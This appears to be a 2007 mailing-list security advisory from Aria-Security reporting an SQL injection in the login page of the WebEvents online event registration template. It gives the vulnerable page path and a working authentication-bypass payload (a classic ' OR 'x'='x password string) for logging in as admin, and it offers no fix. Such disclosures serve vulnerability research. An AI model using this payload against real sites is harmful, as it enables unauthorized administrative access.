Date: 27 Jul 2007 23:59:53 -0000
From: [email protected]
To: [email protected]Subject: WebEvents: Online Event Registration Template Username Fields SQL
INJECTION
X-Virus-Scanned: antivirus-gw at tyumen.ru
__________________________
A R I A - S E C U R I T Y
_________________________
WebEvents: Online Event Registration Template Username Field SQL Injection
Vendor: http://www.codewidgets.com
http://target.com/PATH/sign_in.aspx
Username: admin
Password: anything' OR 'x'='x
Credits: Aria-Security Team
http://aria-security.net
http://outlaw.aria-security.info
